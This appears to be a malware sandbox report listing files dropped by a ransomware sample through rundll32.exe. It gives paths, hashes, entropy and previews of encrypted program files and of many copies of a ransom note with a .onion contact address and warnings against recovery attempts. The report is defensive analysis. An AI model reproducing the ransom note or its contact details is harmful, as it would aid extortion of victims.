Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Common Files\System\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Common Files\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Google\Update\GoogleUpdate.bk

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	162394
Entropy (8bit):	6.854329562498311
Encrypted:	false
SSDEEP:	3072:uGzdrfSG7K7r6Su1nPLTVxxWv1YbyB5yrGH4Fb6bk4ZhSfha+nvL+4/klXKF8Zt+:/N7K7r6Su5HtWDMGIsMmC
MD5:	B3ED8E778228D6C441591130D1CDAA1F
SHA1:	32AC4EE4D5465109D0E038DE2CD6DD740A7CB3C7
SHA-256:	120856087B5A8D3BE3D2763C63279C599255ED322A2490C7484EF59D11F42926
SHA-512:	516FB011654B3BF41E6CDEFC04D1E37F6D926A59067B76FF1A5EB9427162DAAF701479259667980288BAA3D8EEA5C37AC25E25844453398AA42EE4F9CFC81F8E
Malicious:	false
Preview:	$.N=P.^.8....lP.]c..`.=.M...%.i.1#...3..:....-59M..E.+O.>,.Lo........!..L.!This program cannot be run in DOS mode....$........;...U..U..U.M.V..U.M.P...U.M.Q..U..Q..U..V..U..P..U.$......X.'..1t.M...L.Zh\..x..w<#..5jDKf2..z.ex.k$....u+O.>,.LoPE..L...9..d.................D..........Ru.......`....@.................................x.....@.................................9..=+.^.<P...qP..c..`.=.......i.1.....3.{a...-59M..E.+O.>,.Lo.........[..@...............L............................text....B.......D.................. ..`.data...x....`.......H..........i..=..^r...a..P..k..`=<.....%.h.1#...3..:...-u.?....E....>,xMo.....\..............@..@.reloc...............@..............@..B................................................................i..=S.^.<....P..c..`.=.....%.i.1#...3..:....-59M..E.+O.>,.Lo................................................................................................................................i..=S.^.<....P..c..`.=.....%.i.1#...3.

C:\Program Files (x86)\Google\Update\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Google\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Internet Explorer\SIGNUP\install.ins

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	6.876364667367308
Encrypted:	false
SSDEEP:	12:s7taizpDIapFegTRWjlGnUbmwcm9pAGiJmxUjtUeEbV6zg+YsGwY51vvPnbjBS:s7cvafd+lwIHRpAGi4CjtUeEbV60+Yjy
MD5:	3AD92888EEE0EE608E6D62222ED74041
SHA1:	0EE9F230CDE66040E866545ED00C1162FD3F888A
SHA-256:	A4E64090298F54DEFAA307F2011835D94E765B89E6A0075EF6E7ABE306628EA9
SHA-512:	36882C7EB6692079DF19783AC143476474483979763C4A9590E6034417B46725BC6212E957C48459BC48D848581E300F9458553359DF47C1C70B462AE94A3711
Malicious:	false
Preview:	..........m.S'3E.0.g.n.v.NR.4...;.-......5...4...v]....k.).G.[.3.....q.G'5E.0.g.....cRL4....3.9...C..5#..4...vG.....j.g.....i......2..'jE.0.g..R.q..R.4...)...._..5M..4...v.....=.j.....k.......@.B')E.0.g..<.7.hR84..........~..53..4...vX.....e.6.....J......7..'.E.0.g......hRa4...=.~..<..5,..4...vR....i.g...0.M.......G..'!E.0.g..R.:.KR.4......r.....5M..4...v.....B.j.....w.......3..'mE.0.g.!....RK4....&.....5v..4...vX.....v.g...................0c.c:~.E..........d~pb..D..e.%...k........Nu.xC.....ef../....p2.......+.V...=.$..+#..."..........S.....=\|..w. ...#..#.\.9~....P.L.e.X......Ne.....XD.f.J....+ ).?.). \......,t"..ARcF...............................................................................................29yp10v5m8k.

C:\Program Files (x86)\Internet Explorer\SIGNUP\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Internet Explorer\en-GB\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Internet Explorer\en-US\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Internet Explorer\images\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Internet Explorer\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Java\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Java\jre-1.8\COPYRIGHT

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3558
Entropy (8bit):	7.807800309268941
Encrypted:	false
SSDEEP:	96:JmKlVaQfxs/ccUNvcl0dtcZZL9X8wmnCTaWRgCeUWzsyysu3cS:9lVG/cf00PYL9XPOC5R7xyys3S
MD5:	4D994F00F43BC681A84088D33ECED184
SHA1:	C44F8B14AA4D17CDF405CF951EFAD6EC7C37102A
SHA-256:	CB2BFBA37120EB7CA852C9F6E0F754047C5FE90951FD37E581006E70DFA82C3E
SHA-512:	1F1E63B05DC7E67709F6C5AA25D81FFFB9525AAF75119FAC4DE2AC166A406467623450033631F5D7710F2EB43B3771C221AA53B1B0533E320AF2AE109A2D1796
Malicious:	false
Preview:	..fr..,...C.L.H.5~.x........D.....M.\3..C.C...!.{.19.^...DJ3..{.sx..=.....)....f#.>Y.......O...YG.\>....@...<.`.bv.z.]YU=..l.xo..k..........t+./K.....OI...DL.\(....L...'.\|.-y.j...WM0y.a..zd..9.....]....e>.>K......T...AN.......U...-.{.b{.h..%s[7..\|.e+..;.........x%.>K......TOI..NG..?....@...&./.0..s..XSGt..(..a'..$.....]....`?.f......DM...XA.Pz....V...-...0x.{..\B.t..l..o'.."....Q....{?.#Z......H_.......2.....k..:.`./;.o..C_P<_.g..rb..'.........a`.#@.....SPE.._...P....H...;./.'a.m...SM3..m...e.k..........l`.%\.....HQ...BL..<....VA....x.0r.?..CSP'S.m...y..k..........%.>K.....HQ.......z....L...-.!.HC.z.APL&..\|..x+..%.........p%.jG......BII...A..4..i.L...=./.-c.\|..NXGt..(..b+..9.........w)./\......D.I...[..P........h.}.-e.3.CSB'..z..yy.?.........\|".=\.....+t...EK.\3.D..C...:./.07.z..[SGt..k..se..?.......[.fF./B......URI..H..R..D$.S...%.a.bx.?..VYM1S.a..xx..,..........t .jA.......nG..BT..4.....A..-.i..{.h..H.M;..k...x..;.......A............lx'.hl.\..

C:\Program Files (x86)\Java\jre-1.8\LICENSE

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	6.209179366823548
Encrypted:	false
SSDEEP:	6:+8CQlC3GEGvCed0IyvHWNvvecfPQ+XfyAUJOEwQ/T0gQaj+Ndll/JQR:+V2BE1PWNvv9fo+aAgb/J+7BS
MD5:	3E56B16F9BF30AB6B613674B10564C31
SHA1:	1BBF29ECA9F66AC706F22F6570A33631ACF709AF
SHA-256:	D8F60889D111CAC1A6C9A381E092F9F6C11F62BCDA3C8B79B58FE196F0BBD2CA
SHA-512:	B0EF275BEBBC25205DE51F39193400A8AA62910B665FD077D54DD6F988C576FE5FB5B0CAA42204AD63D633A0797067A97A91C0FF3D91288356944E6BB12B28AA
Malicious:	false
Preview:	.a2..'x`. ..b!9.!B$.-F[........}.?m<.Z.......a.y.......;.T.....N~.3...... ......d.!.G..l....g......3.....&.......h.....0...J!..k......H...T..Z......}.r..-.Q........26........m..n..n.....<].s...I...N0........SX.*K.u..s.J.`..!.C..r.......................................................................................,.........29yp10v5m8k.

C:\Program Files (x86)\Java\jre-1.8\README.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	360
Entropy (8bit):	6.268947818574496
Encrypted:	false
SSDEEP:	6:tszFQ+x7oJRSnleJmGBFR0iPTF9v45dHSFEuRBpiTMFdBCKGb5QR:ts5Q+xkJUR0JvkHSfXpigAKGb5S
MD5:	2A91E252FBC8AB3F34DACAAFB87AE343
SHA1:	0E5A4C349C025DAAB293029AB28A188CDDF62E2E
SHA-256:	A8A9C7101352D1349C8B16F535D90379E7DAE6E9FBC19A9B1D3E8C6FF914C7AD
SHA-512:	AA87EAF33634021963D9743CAF4918852AE2155FED6C6872ACDCEFF650AAEDE9F2B4DF1837440555BA2D9E08E954C68FCA7A1E725F80E9770E208F9637F0DD2A
Malicious:	false
Preview:	b...A.t"YQ#n........L.....q...{...s.E0.. ..."...}.?.....@...ZxZ...S3.......!..u..K..5.........<}.r.,%..c.{..y.P..VY.../....3<.......':.ZF...:..(..cUR.`..A.....b.P....g..r..N.g+....m..".~M.......e.J_].....h3I.i.`d....';A...,.~.....i>d.._.1.............................................................................................29yp10v5m8k.

C:\Program Files (x86)\Java\jre-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	504
Entropy (8bit):	6.69215715438918
Encrypted:	false
SSDEEP:	12:AJInmrwo/Q4iGxsy30oFgpuWrSenIXojHYDPVmh2fz2oFv1G/FS:3ln4iGxsKFcuWrZPjSVFfzZFvkFS
MD5:	E958C4B574EE65A5F280BB60F5471F0A
SHA1:	C78121F48B8DADD601769F00FE74519562D81A1B
SHA-256:	1371358AF2E529E6539A4623152503C69FFA011134849348B1515A8D4BDD1F3E
SHA-512:	80668D7A399FB9A25C8409B422390B232D925D66441D7297CFD8795729D878677F0ADD8577D1DA5C26FC0F281AA8701DF0ACAD3F6ACD945F41BBBBB8A393954B
Malicious:	false
Preview:	.nA........U.\|:..;..5...s.[\.....f..H.C+.=F.8......U.0.\|.......=r.......[.I.t1.....5.H.w[.I....c..G.H+.&G.$........v.......nent's license.is available as a separate markdown (.md) file...!....#..v.!s.R.!......&0.FB..''0@.ZZ...Ui...7.z....T}..1..v...^."..3..2.....]N.....y.'......D;...H.=\|Y..:*......Yq. ...E..:T.E..6v`..Wf.<Q.;.~_.e.Ic.!...\.l5....]4....&.^6...m1..[7. _.....#...MJL2~q.............................................................................................29yp10v5m8k.

C:\Program Files (x86)\Java\jre-1.8\THIRDPARTYLICENSEREADME.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	504
Entropy (8bit):	6.6369174783265565
Encrypted:	false
SSDEEP:	6:513ROsMWkuFcfP3KW2FUo+/NzhBFogEAuoZrl+NwZ9WfTWUB38Shr6EA3Xa+5pqI:PMLf2FBQNzhvogpugWyUqurFAnaBtXrS
MD5:	44DA50C39C24E4B9BD54E75F57F7CD86
SHA1:	49FD9A09EB8D15FD5BF966235BD9FF1C23882AAD
SHA-256:	D0C9CD5DC3FF3D5712DEB22B5CE4D8486658F76B37451009A7F4E36F7A7666BC
SHA-512:	4AD4F351AC78F370F5664751C1C2698E60D6DDBF18F953C27FDBEA8C5288248477E75DDC5EA3C315BD78FB888D734CAE7F2DA79B7AE6BC484E5DB675CA52A15C
Malicious:	false
Preview:	.1X..^..{Q..._.nC!...}.-..Q..L3R..l.op.>t.E.w6.P.....J...Q.Y.j.-..Y..wG..L.xC....k.......D?N..m.;pV5~.[.p'.....>.]....L.Y.znt's license is .available as a separate markdown (.md) file......X5.`i.../8....b/..j'9..._..0.....gz.qA..C.H...vY.r..gz.....$.....y.....%......h.c=r.3.6.7..C.........G*....}..3.^cK..xr.J$.h6..u&.jea7.+r.Y._^...k.X.``.8....>..1. ..m..tA........(Y>.....n.5.ey...............................................................................................29yp10v5m8k.

C:\Program Files (x86)\Java\jre-1.8\Welcome.html

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.543147246281828
Encrypted:	false
SSDEEP:	24:V4rLhNQ8n9Bx3MlZ8gR6icZD6pvmgxnmwS:qPQ8Dw6KpvJnTS
MD5:	2009A49C842AA1FDF8A0CAD778C94325
SHA1:	D5BDC8E55D2CC3F805205E43FCE7C4A33C8E217C
SHA-256:	62D3194DD628C2FD62182C62B1083248C9839834F520B1AD199141387857E8DE
SHA-512:	AB57DEE664A988B79D19E177F1C201550BD7BB1A9F9F27236D67BC6AC818B90767ACBDD38119C6C44C307AC146322E5FB21734D14FB86B2094D6341295122F3A
Malicious:	false
Preview:	..B0r.O..5..\..uW<..p.~.NI)Zt.N.-..'./.N4.....b.7=.k?..(.P.7.T..^8..{?]2....... ....E.MG#.eI..e..0f5/.\|I....@.c.<C.-.5.m.g.,....a1..e_p.....nL%..&..x.Zx.FCV.b.Zs,n.Gy...2...K%._.S.j...W..b."..z/..M..Q.h../.M.PNfruON.b..(r-:.By.....`.).w?u.s...3.....Y+w. FA3.....u[h. .@.G.5BaVU.y...uc..Y}...g."/.v<c.'...e.>...D(p.,X.p.....nP%..:.@.AF3StU..e..0f5/.\|I....@.c.<C.-.5.m.g.,....a1..e_p.B..tYe..n.[.F_%C1QR.n...r3>.]h......"-.97~.n.V.6.....X.w. ..5.....vM-.`.#NJ.xet@_.h..t.a.."....].&{.q70.f.Q.>.W...B-$.jQ.'...../Q:."...MGi]pP[.h..Uc,-..h.....z.0t.l;t.t.I...........$.1<..O..=.)..>.F.WI2=uIY.`..f7'.A<.....a.&{.w4..j.M.4.J...C.w."..8..(..`....).@..Z4XuSY.#...9c..J<....o.+)..o..o.M.a.E....2l.&Y.~....d] ..:.F.I.,VgG..l..bl!.Jn.....,.}..o30.k.M.4......}i.'..9..B..s.B..#.[..C(Q~TW.y..', .[t....o..7.m4..j...g....P2p.eF...@..#.B.>.[.EB2.9E..?..L+c\|../....m.&{.w6?.u.P.(...filiates. All rights reserved..</font>.<p>.</body>.</html>...>...\+.../...1&<....<Q..R..tz......6.c..

C:\Program Files (x86)\Java\jre-1.8\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
